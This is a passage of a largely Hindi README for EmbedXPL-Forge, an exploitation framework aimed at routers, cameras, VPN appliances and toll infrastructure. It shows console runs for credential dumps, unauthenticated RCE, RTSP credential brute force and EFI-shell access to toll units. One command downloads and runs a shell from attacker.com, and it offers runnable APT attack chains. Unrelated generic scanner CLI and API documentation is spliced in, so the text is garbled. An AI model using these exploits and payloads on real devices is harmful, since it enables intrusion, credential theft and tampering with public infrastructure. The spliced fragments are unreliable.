│ │ ├── nas/ # NAS exploits (QNAP, D-Link NAS, Zyxel)
│ │ ├── routers/ # Router exploits by vendor (85 vendor folders — see full list below)
│ │ ├── vpn/ # VPN/firewall appliances (Ivanti, Fortinet, SonicWall)
│ │ ├── switches/ # Switch exploits (Cisco, D-Link, NETGEAR)
│ │ └── soho_edge/ # SOHO edge device exploits
│ ├── scanners/ # Network scanning and AutoPwn
│ ├── payloads/ # Reverse/bind shells (multi-arch)
│ ├── encoders/ # Payload encoding (Base64, Hex)
│ └── generic/ # CVE lookup, SNMP, UPnP, SSDP, wordlist tools
├── nse/ # NSE script manager (Python)
│ ├── manager.py # NSEManager class — install/uninstall/list/run
│ └── __main__.py # CLI: python -m embedxpl.nse
├── resources/
│ └── rtsp/
│ ├── routes.txt # 195+ RTSP stream paths
│ └── credentials.json# 80+ default username:password pairs
└── data/
└── oui.txt # IEEE OUI database for MAC-to-vendor lookup
nse/ # Nmap NSE Lua scripts (pip install embedxpl[nse])
├── embedxpl-rtsp-discover.nse
├── embedxpl-camera-identify.nse
├── embedxpl-hikvision-vuln.nse
├── embedxpl-dahua-vuln.nse
├── embedxpl-rtsp-creds.nse
├── embedxpl-iot-cve-check.nse
└── embedxpl-camera-snapshot.nse
यह अनुभाग ISP डिवाइस मॉड्यूल, बैकडोर/फैक्ट्री पासवर्ड एक्सप्लॉइट, RTSP क्लाइंट फ्रेमवर्क, OSINT टूल्स, और विशेष सुरक्षा मॉड्यूल का दस्तावेज़ीकरण करता है।
इंटरनेट प्रदाताओं द्वारा सामान्यतः तैनात ISP-जारी CPEs और IP कैमरों (Sercomm-आधारित ONTs, GPON CPEs, और ISP-ब्रांडेड डिवाइस) को लक्षित करने वाले एक्सप्लॉइट और स्कैनर।
उपयोग के उदाहरण:```bash
embedxpl use routers/zte/zxhn_h298a_cred_dump_cve_2026_34474 embedxpl (ZXHNCred) > set rhost 192.168.1.1 embedxpl (ZXHNCred) > run
[+] Connected to 192.168.1.1:80 [+] Sending ETHCheat request: GET /getpage.lua?pid=1000ÐCheat=1 [!] VULNERABLE: Credentials exposed Admin Password: admin123 WLAN PSK: MyWifiPass SSID: ZTE_Router_ABC
[-] No credential fields found in response [-] Target may be patched or different firmware
यह अनुभाग उपलब्ध नहीं है।```bash
# Intelbras IWR LuCI RPC RCE
embedxpl use routers/intelbras/iwr_luci_rpc_rce
embedxpl (IWRLuci) > set rhost 192.168.0.1
embedxpl (IWRLuci) > set cmd "id"
embedxpl (IWRLuci) > run
# Expected output:
[+] LuCI RPC endpoint found at /cgi-bin/luci/rpc/sys
[+] RCE via sys.exec: uid=0(root) gid=0(root)
| -s | --server | Server URL (default: http://localhost:8080) |
| -t | --token | API token for authentication |
| -o | --output | Output file path |
| -f | --format | Output format: json, yaml, table |
| -v | --verbose | Enable verbose logging |
| -q | --quiet | Suppress non-error output |
| | | Show help message |
| | | Show version information |
The scanner reads configuration from ~/.scanner/config.yaml:
server:
url: "http://localhost:8080"
timeout: 30
auth:
token: "your-api-token-here"
output:
format: "json"
verbose: false
scan:
concurrency: 10
exclude:
- "**/test/**"
- "**/vendor/**"
# Basic scan
scanner scan --target https://example.com
# Scan with custom output format
scanner scan --target https://example.com --format yaml --output results.yaml
# Scan with authentication
scanner scan --target https://example.com --token "your-token"
# Scan multiple targets from file
scanner scan --targets-file targets.txt --concurrency 20
# List available scan profiles
scanner profiles list
# Run a specific profile
scanner scan --profile owasp-top-10 --target https://example.com
POST /api/v1/scanStart a new scan.
Request Body:
{
"target": "https://example.com",
"profile": "default",
"options": {
"concurrency": 10,
"timeout": 30
}
}
Response:
{
"scan_id": "abc123",
"status": "running",
"created_at": "2024-01-15T10:30:00Z"
}
GET /api/v1/scan/{scan_id}Get scan status and results.
Response:
{
"scan_id": "abc123",
"status": "completed",
"created_at": "2024-01-15T10:30:00Z",
"completed_at": "2024-01-15T10:35:00Z",
"findings": [
{
"id": "finding-001",
"severity": "high",
"title": "SQL Injection",
"description": "Potential SQL injection vulnerability detected",
"location": "https://example.com/api/users?id=1"
}
]
}
DELETE /api/v1/scan/{scan_id}Cancel a running scan.
Response:
{
"scan_id": "abc123",
"status": "cancelled"
}
Connection refused:
curl http://localhost:8080/healthAuthentication failed:
Scan timeout:
--timeout--concurrencyWe welcome contributions! Please see CONTRIBUTING.md for guidelines.
This project is licensed under the MIT License - see the LICENSE file for details.```bash
embedxpl use scanners/specialized/br_isp_scanner embedxpl (BRISPScan) > set target 192.168.0.0/24 embedxpl (BRISPScan) > run
**नोट्स:** CVE-2026-34474 ZTE ZXHN H298A 1.1 और H108N 2.6 को प्रभावित करता है। किसी प्रमाणीकरण की आवश्यकता नहीं है।
**कानूनी:** इसका उपयोग केवल उन उपकरणों पर करें जिनका आप स्वामी हैं या जिनका परीक्षण करने के लिए आपके पास लिखित प्राधिकरण है।
---
### लिगेसी राउटर बैकडोर और फैक्ट्री पासवर्ड मॉड्यूल
EmbedXPL-Forge मॉड्यूल प्रारूप में कार्यान्वित क्लासिक राउटर बैकडोर और फैक्ट्री पासवर्ड एक्सप्लॉइट।
| डिवाइस | CVE / संदर्भ | मॉड्यूल पथ | हमले का प्रकार |
|--------|----------------|-------------|-------------|
| Cobham Aviator 700 SATCOM | CVE-2014-2943 | `exploits/specialized/vsat/cobham_aviator_admin_reset_cve_2014_2943` | एडमिन पासवर्ड रीसेट (अप्रमाणित) |
| Huawei HG8245H | - | `osint/keygen/huawei_hg8245_wpa_keygen` | WPA डिफ़ॉल्ट कुंजी जनरेटर |
| Alcatel-Lucent OmniPCX Enterprise | - | `exploits/voip/alcatel_lucent/omnipcx_enterprise_mastercgi_rce` | masterCGI अप्रमाणित RCE |
| Linksys E-Series (The Moon) | EDB-31683 | `exploits/routers/linksys/eseries_themoon_rce_tmunblock` | tmUnblock.cgi RCE |
| NETGEAR DGN2200 | EDB-24665 | `exploits/routers/netgear/dgn2200_open_telnetd_rce` | open-telnetd अप्रमाणित RCE |
| Siemens FlexiISN | - | `exploits/routers/siemens/flexiisn_auth_bypass` | प्रमाणीकरण बायपास |
| Thomson BTHomeHub | - | `exploits/routers/thomson/bthomehub_voice_hijack` | VoIP कॉन्फ़िगरेशन हाइजैक |
| AT&T 2Wire Gateway | - | `exploits/routers/two_wire/atandt_gateway_crlf_dos` | CRLF इंजेक्शन / DoS |
**उपयोग के उदाहरण:**```bash
# Cobham Aviator admin reset (VSAT / Satellite terminal)
embedxpl use specialized/vsat/cobham_aviator_admin_reset_cve_2014_2943
embedxpl (CobhamReset) > set rhost 192.168.1.1
embedxpl (CobhamReset) > run
# Expected output:
[+] Connected to Cobham Aviator 700 interface
[+] Sending unauthenticated admin reset request
[!] VULNERABLE: Admin password reset to default
# Linksys eSeries The Moon RCE
embedxpl use routers/linksys/eseries_themoon_rce_tmunblock
embedxpl (TheMoon) > set rhost 192.168.1.1
embedxpl (TheMoon) > set cmd "busybox wget http://attacker.com/shell -O /tmp/sh && chmod +x /tmp/sh && /tmp/sh"
embedxpl (TheMoon) > run
# Huawei HG8245H WPA keygen
embedxpl use osint/keygen/huawei_hg8245_wpa_keygen
embedxpl (HuaweiKeygen) > set ssid "HG8245H-ABCDEF"
embedxpl (HuaweiKeygen) > run
# Output: [+] Predicted WPA key: xA7z3k9P
नोट्स: Moon worm (Linksys E-Series CVE) फर्मवेयर < 2.0.08 पर बिना प्रमाणीकरण के tmUnblock.cgi का उपयोग करता है। कानूनी: इसका उपयोग केवल उन उपकरणों पर करें जिनका आप स्वामी हैं या जिनका परीक्षण करने के लिए आपके पास लिखित प्राधिकरण है।
एक शुद्ध Python RFC 2326 RTSP/1.0 क्लाइंट लाइब्रेरी जिसका उपयोग सभी RTSP कैमरा हमला मॉड्यूल के आधार के रूप में किया जाता है।
मॉड्यूल: network/rtsp/rtsp_client.py - RTSPClient क्लास
विशेषताएँ:
with RTSPClient(...) as client)उपयोग उदाहरण:```bash
python3 -c " from embedxpl.modules.network.rtsp.rtsp_client import RTSPClient with RTSPClient('192.168.1.10', 554, timeout=5) as client: resp = client.describe('/live/ch0') if resp.status_code == 200: sdp = client.parse_sdp(resp.body) print(f'Streams: {[s.media_type for s in sdp.streams]}') "
यहाँ तक कि अगर आपको लगता है कि आपका सिस्टम सुरक्षित है, तो भी नियमित रूप से स्कैन करना एक अच्छा अभ्यास है।```bash
# RTSP credential brute force (uses RTSPClient internally)
embedxpl use network/rtsp/rtsp_cred_brute
embedxpl (RTSPBrute) > set rhost 192.168.1.10
embedxpl (RTSPBrute) > set rport 554
embedxpl (RTSPBrute) > set path /live/ch0
embedxpl (RTSPBrute) > run
# Expected output:
[+] Trying admin:admin ... 401 Unauthorized
[+] Trying admin:12345 ... 200 OK
[!] VALID: admin:12345
आवश्यकताएँ: Python 3.8+, कोई बाहरी निर्भरता नहीं।
OSINT मॉड्यूल जो हार्डवेयर लेबल पर पाए गए FCC ID कोड से डिवाइस विवरण प्राप्त करने के लिए FCC Equipment Authorization डेटाबेस को क्वेरी करता है।
मॉड्यूल: osint/fcc_id_lookup.py
उपयोग उदाहरण:```bash embedxpl use osint/fcc_id_lookup embedxpl (FCCLookup) > set fcc_id "PD5-WNR3500U" embedxpl (FCCLookup) > run
[+] FCC ID: PD5-WNR3500U Grantee: NETGEAR Inc. Product: WNR3500U Wireless-N Gigabit Router Frequency: 2.4GHz / 5GHz Authorization: OET-65C (mobile device) Test Lab: SGS Grant Date: 2009-11-18 Internal Photos: [URL] External Photos: [URL] Test Reports: [URL]
**सुझाव:**
- FCC ID डिवाइस लेबल पर मुद्रित होते हैं (प्रारूप: `GRANTEE_CODE-PRODUCT_CODE`)
- OEM हार्डवेयर, फर्मवेयर बेस, या आपूर्तिकर्ता श्रृंखला की पहचान के लिए उपयोग करें
- डिवाइस के लिए सार्वजनिक फर्मवेयर रेपो खोजने के लिए `osint/github_recon` के साथ संयोजित करें
**आवश्यकताएँ:** इंटरनेट एक्सेस, `requests` लाइब्रेरी।
---
### कैमरा URL जनरेटर
विक्रेता, मॉडल, और फर्मवेयर संस्करण के आधार पर ज्ञात कैमरा स्ट्रीम URL उत्पन्न करता है, iSpy कैमरा डेटाबेस प्रारूप का उपयोग करते हुए।
**मॉड्यूल:** `osint/camera_url_generator.py`
**उपयोग उदाहरण:**```bash
embedxpl use osint/camera_url_generator
embedxpl (CameraURL) > set vendor "hikvision"
embedxpl (CameraURL) > set model "DS-2CD2143G2"
embedxpl (CameraURL) > run
# Expected output:
[+] Known stream URLs for Hikvision DS-2CD2143G2:
[1] rtsp://<ip>:554/Streaming/Channels/101
[2] rtsp://<ip>:554/Streaming/Channels/102
[3] rtsp://<ip>:554/h264/ch1/main/av_stream
[4] http://<ip>/ISAPI/Streaming/channels/1/picture
[5] http://<ip>/onvif/device_service
# Generate wordlist for RTSP brute force
embedxpl (CameraURL) > set output_file /tmp/hikvision_routes.txt
embedxpl (CameraURL) > run
सुझाव:
network/rtsp/rtsp_route_brute के साथ संयोजित करेंset all_vendors true का उपयोग करेंट्रैफिक एनफोर्समेंट इंफ्रास्ट्रक्चर (टोल RSU, रडार सिस्टम, ANPR कैमरे) को लक्षित करने वाले मॉड्यूल।
मॉड्यूल: exploits/specialized/traffic_enforcement/kapsch_rsu_efi_shell_cve_2025_25734
भेद्यता: इलेक्ट्रॉनिक टोलिंग में उपयोग किए जाने वाले Kapsch Road-Side Units (RSU) में UEFI Secure Boot प्रवर्तन और BIOS पासवर्ड सुरक्षा का अभाव है, जिससे भौतिक हमलावर EFI इंटरैक्टिव शेल में प्रवेश कर सकते हैं और पूर्ण फाइलसिस्टम तक पहुंच सकते हैं।
प्रभाव: कॉन्फ़िगरेशन निष्कर्षण, TLS निजी कुंजी चोरी, इम्प्लांट इंस्टॉलेशन, टोल एनफोर्समेंट बायपास।
उपयोग उदाहरण:```bash
embedxpl use specialized/traffic_enforcement/kapsch_rsu_efi_shell_cve_2025_25734 embedxpl (KapschRSU) > set rhost 10.0.0.50 embedxpl (KapschRSU) > check
[+] Kapsch RSU management interface detected on 10.0.0.50:80 [!] Banner indicator: 'TrafficCom RSU' found [*] NOTE: Full exploitation requires physical on-site access
embedxpl (KapschRSU) > run
**भौतिक शोषण चरण:**
1. RSU एन्क्लोज़र खोलें (tamper-evident स्क्रू)
2. RSU मेनबोर्ड से USB कीबोर्ड और मॉनिटर कनेक्ट करें
3. पावर साइकल करें - POST के दौरान ESC/DEL/F2 दबाएँ
4. नेविगेट करें: Boot Manager -> EFI Internal Shell
5. फ़ाइलसिस्टम एक्सेस करें: कॉन्फ़िगरेशन निष्कर्षण के लिए `fs0:\efi\config\`
**आवश्यकताएँ:** RSU हार्डवेयर तक भौतिक पहुँच (मॉनिटर + USB कीबोर्ड), या बैनर डिटेक्शन के लिए प्रबंधन इंटरफ़ेस तक नेटवर्क पहुँच।
**कानूनी:** टोल प्रवर्तन अवसंरचना तक अनधिकृत पहुँच एक आपराधिक अपराध है। केवल उन इकाइयों पर उपयोग करें जिनका आप स्वामी हैं या जिनका मूल्यांकन करने के लिए आपके पास स्पष्ट लिखित प्राधिकरण है।
---
## फ्रेमवर्क आर्किटेक्चर (v3.1.0)
### कंपोनेंट आर्किटेक्चर
फ्रेमवर्क का पूर्ण स्तरित दृश्य: CLI लेयर, Core Engine (ऑर्केस्ट्रेटर, प्रोटोकॉल क्लाइंट, शेल इंजन), Intelligence Layer (ML, OUI, CVE DB), Quality Gates, और श्रेणी के अनुसार व्यवस्थित 2800+ मॉड्यूल शस्त्रागार।
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/63129f66ef4361f16ede4ec2b9379e2efba3843685ddb18c40d8302c0c27d00a/38190b67586381886a6b4fadd441bed66ae0b3a5fe573e650bcb67a032096d54-display-v1.webp" width="960" alt="EmbedXPL-Forge Component Architecture v3.1.0"/>
</p>
### ऑडिट और शोषण प्रवाह
लक्ष्य इनपुट से डिस्कवरी, फिंगरप्रिंटिंग, मॉड्यूल चयन, शोषण, और रिपोर्टिंग तक एंड-टू-एंड डेटा प्रवाह।
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/266a4c0b8889e9cd6cdbad9450d3b173190d0bb1f615807ff2d040544cbba45b/774107c9888c0d2a25fbb913c73c6ed3c4a4a43da2782c6bb400a2b1b2421fb6-display-v1.webp" width="960" alt="EmbedXPL-Forge Exploitation Flow v3.1.0"/>
</p>
## आर्किटेक्चर और अटैक सरफेस मैप्स
परिचालन सुरक्षा आरेखों की शैली में, प्रति एक्सेस वेक्टर मॉड्यूल कवरेज दर्शाने वाले अटैक सरफेस मैप्स।
स्रोत फ़ाइलें [`docs/diagrams/architecture/`](https://github.com/mrhenrike/embedxpl-forge/blob/master/docs/diagrams/architecture) में।
### मॉड्यूल आर्किटेक्चर अवलोकन
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/77e312b38d78c27f7d1de0276c6f304f343f323b2d0f951c2f9a2a5362c3e54c/add82fa1cc0dc85f3f6b414270fdc3e457d72b05d31ec9013ae5a08f8427cf52-display-v1.webp" width="900" alt="EmbedXPL-Forge Architecture Overview"/>
</p>
### APT समूह हमला श्रृंखलाएँ
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/e1ab0771072292d7cfd319a886323c1ee5630374de9b7aa88652badb233f10db/540b3fc97ec030a32c27f896ee3e03fa11e349dd9ba8fdc10905618932d9e9ce-display-v1.webp" width="900" alt="APT Group Attack Chains"/>
</p>
### SOHO राउटर अटैक सरफेस
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/5254908f6c1a366a0fb268b89fe1c3260a2d67d2fad0e3380b9d846af5e245ca/e15dbde66c8adc6a223f2ef570c2b202a8cd58b5f69f924399be4a32debf3511-display-v1.webp" width="900" alt="SOHO Router Attack Surface"/>
</p>
### TP-Link अटैक सरफेस (APT28/GRU अभियान)
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/93f5be2a074ef3b827832e532658e6ea0ada911f9ed0433a4986355ca34e11bf/436ac5ee2ad503629993f8cb04ca563f0d36b2409664abc74705aee9b5d8dbaa-display-v1.webp" width="900" alt="TP-Link APT28 Attack Surface"/>
</p>
### MikroTik RouterOS अटैक सरफेस
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/b36a43e11581966fcf539289c66b6694ab23910a52a9c0ed031f18402d366bc4/910bb2d9cd7b55834ebfb6dfd6b02121f3242bf8140435afb2ab28fc196b1faf-display-v1.webp" width="900" alt="MikroTik Attack Surface"/>
</p>
### GPON ONT अटैक सरफेस (Huawei EG8145)
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/56270/31f8afeec116e1cfea33753c26b01905351cc1c2a03bc46175f155dbe5e06dfe/34dc8af47fd53c639ed089f6797407be884617726c885c5faad96e7a22b6a078-display-v1.webp" width="900" alt="GPON ONT Attack Surface"/>
</p>
## आवश्यकताएँ
- Python 3.8+
- वैकल्पिक: उन्नत नेटवर्क डिस्कवरी और NSE स्क्रिप्ट के लिए `nmap` (बाइनरी)
- वैकल्पिक: उच्च-गति RTSP डिस्कवरी के लिए `masscan`
- वैकल्पिक: PolyExploit C/C++ रनटाइम कंपाइलेशन के लिए `gcc`/`clang`
- वैकल्पिक: PolyRunner के माध्यम से Metasploit एकीकरण के लिए `msfconsole`
**Python निर्भरताएँ (स्वतः-स्थापित):**
`requests`, `paramiko`, `pysnmp`, `pycryptodome`, `scapy`, `colorama`, `rich`, `python-nmap`, `aiohttp`
**NSE अतिरिक्त (`pip install "embedxpl[nse]"`):**
`python-nmap` (पहले से कोर में शामिल)
पूरी सूची: [`requirements.txt`](https://github.com/mrhenrike/embedxpl-forge/blob/master/requirements.txt)
## कानूनी अस्वीकरण
EmbedXPL-Forge केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान के लिए है। इस टूल का उपयोग केवल उन सिस्टमों पर करें जिनका आप स्वामी हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर सिस्टमों तक अनधिकृत पहुँच अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते।
## लाइसेंस
BSD लाइसेंस — विवरण के लिए [LICENSE](https://github.com/mrhenrike/embedxpl-forge/blob/master/LICENSE) देखें।
---
## संपर्क
**सहायता / सामान्य पूछताछ:** [email protected]
**सुरक्षा मुद्दे:** [SECURITY.md](https://github.com/mrhenrike/embedxpl-forge/blob/master/SECURITY.md)
---
### André Henrique
| | |
|---|---|
| GitHub | [@mrhenrike](https://github.com/mrhenrike) |
| X / Twitter | [@mrhenrike](https://x.com/mrhenrike) |
| LinkedIn | [mrhenrike](https://www.linkedin.com/in/mrhenrike/) |
### União Geek
| | |
|---|---|
| Website | [uniaogeek.com.br](https://uniaogeek.com.br/) |
| Blog | [uniaogeek.com.br/blog](https://uniaogeek.com.br/blog/) |
| GitHub | [Uniao-Geek](https://github.com/Uniao-Geek) |
| Instagram | [@uniaogeek](https://www.instagram.com/uniaogeek/) |
---
**लाइसेंस:** BSD-3-Clause License - Copyright (c) 2026 União Geek
**निर्माता:** André Henrique ([@mrhenrike](https://github.com/mrhenrike)) | [União Geek](https://uniaogeek.com.br/)
[Leia em Português](https://github.com/mrhenrike/embedxpl-forge/blob/master/README.pt-BR.md) - [Command coverage](https://github.com/mrhenrike/embedxpl-forge/blob/master/docs/commands.md) - [Wiki](../../wiki)
tools/phase_gate.py यह सुनिश्चित करता है कि प्रत्येक मॉड्यूल मर्ज से पहले इम्पोर्ट, एंटी-FP, संदर्भ, और कोड गुणवत्ता जाँच पास करे| प्रकार | कवरेज | विवरण |
|---|
| राउटर / GPON ONT / CPE | 580+ मॉड्यूल | SOHO राउटर, एंटरप्राइज़ गेटवे, GPON CPE/ONT (प्राथमिक फ़ोकस) |
| IP कैमरा / NVR / DVR | 60+ मॉड्यूल | Hikvision, Dahua, Axis, Reolink, Amcrest, Uniview, Tapo, Swann, ANNKE, Edimax, Intelbras, Grandstream, Foscam, Xiongmai OEM, MVPower, और 20+ अन्य |
| प्रिंटर / MFP | 185+ मॉड्यूल | HP, Canon, Lexmark, Xerox, Ricoh, Brother, Epson, Kyocera, Samsung; IPP/PJL/LPD/WSD/CUPS चेन |
| NAS (नेटवर्क स्टोरेज) | 20+ मॉड्यूल | QNAP, Synology, D-Link NAS, Zyxel NAS |
| VPN / फ़ायरवॉल एप्लायंस / NGFW | 202 मॉड्यूल | Palo Alto, Fortinet, Cisco ASA/FTD/FMC, Check Point, Juniper, SonicWall, Sophos, WatchGuard, Zyxel, F5 BIG-IP, Citrix/NetScaler, Ivanti, Pulse Secure, pfSense, OPNsense, Barracuda, Imperva, MikroTik, Huawei USG, Stormshield, Hillstone, Sangfor, H3C, Radware, Symantec ProxySG, Trend Micro TippingPoint, Trellix, Arista EOS, OpenVPN AS, Phoenix Contact mGuard, Siemens SCALANCE, Moxa EDR, VyOS, IPFire, Kerio, Cisco Meraki, Array Networks + OT/ICS प्रोटोकॉल बायपास मॉड्यूल |
| स्विच L2/L3 | 3 मॉड्यूल | मैनेज्ड स्विच (Cisco, D-Link, NETGEAR) |
| SOHO एज | 9 मॉड्यूल | ट्रैवल राउटर, NAS, वायरलेस AP |
| ICS / OT / औद्योगिक | 35+ मॉड्यूल | PLC, SCADA, Modbus, S7comm, EtherNet/IP, Universal Robots PolyScope 5 |
| स्मार्ट होम / समुद्री | 10+ मॉड्यूल | eNet SMART HOME, OpenRemote IoT, Metis समुद्री WIC/DFS |
| एम्बेडेड OS | 25+ मॉड्यूल | RIOT OS, OpenWrt, VxWorks, QNX, wolfSSL डिवाइस, Tuya Arduino SDK |
| कमांड | विवरण |
|---|
use <module> | एक मॉड्यूल चुनें |
show options | कॉन्फ़िगर करने योग्य विकल्प प्रदर्शित करें |
show info | मॉड्यूल मेटाडेटा और संदर्भ प्रदर्शित करें |
show devices | समर्थित डिवाइस प्रकारों की सूची दिखाएं |
set <option> <value> | एक विकल्प कॉन्फ़िगर करें |
check | सत्यापित करें कि लक्ष्य कमजोर है या नहीं |
run | मॉड्यूल निष्पादित करें |
search <term> | कीवर्ड द्वारा मॉड्यूल खोजें |
discover [subnet] [--timing T0-T5] [--fresh] | सबनेट स्कैन करें, लक्ष्यों की फिंगरप्रिंटिंग करें, मॉड्यूल सुझाएं |
sessions list|show|delete|export|purge | प्रति होस्ट स्थायी स्कैन इतिहास प्रबंधित करें |
apt | पुनरुत्पादनीय हमला श्रृंखलाओं के साथ APT समूहों की सूची दिखाएं |
apt show <group> | हमला श्रृंखला विवरण देखें (MITRE ATT&CK, CVE, मॉड्यूल) |
apt search <device|CVE> | किसी डिवाइस या CVE को लक्षित करने वाले APT समूह खोजें |
apt run <group> [#] | APT हमला श्रृंखला निष्पादित करें (सभी या विशिष्ट हमला) |
| प्रोफ़ाइल | विलंब | उपयोग का मामला |
|---|
| T0 | paranoid — 300s | IDS evasion |
| T1 | sneaky — 15s | Quiet audits |
| T2 | polite — 2s | Minimal impact |
| T3 | normal — 0.5s | Default |
| T4 | aggressive — 0.1s | Fast LAN scans |
| T5 | insane — 0s | CTF / lab only |
| मोड | पोर्ट | क्लास / मेथड |
|---|
rtsp | 554 | RTSPClient(host, port) |
rtsps | 443/8443 | RTSPClient(host, port, use_tls=True) |
http | 80/8080 | RTSPClient(host, port, tunnel_http=True) |
https | 443/8443 | RTSPClient(host, port, use_tls=True, tunnel_http=True) |
| auto | any | RTSPClient.from_scheme(host, port, "http") |
| डिवाइस | CVE | मॉड्यूल पथ | हमले का प्रकार |
|---|
| TP-Link TL-SC3171 / SC4171 / SC4171G | CVE-2013-2573 | exploits/cameras/tplink/tl_sc_series_cmd_inject_cve_2013_2573 | कमांड इंजेक्शन (अनऑथ) |
| TP-Link TL-SC3171 / SC3130 | CVE-2013-2581 | exploits/cameras/tplink/tl_sc_series_unauth_firmware_upload_cve_2013_2581 | अनऑथेंटिकेटेड फर्मवेयर अपलोड |
| D-Link DCS-932L | CVE-2026-36983 | exploits/cameras/dlink/dcs_932l_light_sensor_rce_cve_2026_36983 | लाइट सेंसर RCE |
| D-Link DCS-932L | CVE-2025-5573 | exploits/cameras/dlink/dcs_932l_admin_cmd_inject_cve_2025_5573 | एडमिन पैनल कमांड इंजेक्शन |
| D-Link DCS-933L | CVE-2026-2218 | exploits/cameras/dlink/dcs_933l_admin_cmd_inject_cve_2026_2218 | एडमिन पैनल कमांड इंजेक्शन |
| ZTE ZXHN H267N / H268N | CVE-2026-34473 | exploits/routers/zte/zxhn_h267n_h268n_dos_cve_2026_34473 | सेवा से इनकार |
| ZTE ZXHN H298A / H108N | CVE-2026-34474 | exploits/routers/zte/zxhn_h298a_cred_dump_cve_2026_34474 | क्रेडेंशियल डंप (ETHCheat) |
| Intelbras IWR राउटर | - | exploits/routers/intelbras/iwr_luci_rpc_rce | LuCI RPC अनऑथेंटिकेटेड RCE |
| मल्टी-वेंडर BR ISP स्कैनर | - | scanners/specialized/br_isp_scanner | सक्रिय खोज + vuln जाँच |
-h--help-V--version| Variable | Description |
|---|
SCANNER_SERVER_URL | Server URL (overrides -s) |
SCANNER_API_TOKEN | API token (overrides -t) |
SCANNER_OUTPUT_FORMAT | Default output format |
SCANNER_LOG_LEVEL | Log level: debug, info, warn, error |
SCANNER_TIMEOUT | Request timeout in seconds (default: 30) |
| Code | Description |
|---|
0 | Success |
1 | General error |
2 | Invalid arguments |
3 | Authentication failure |
4 | Network error |
5 | Scan failed |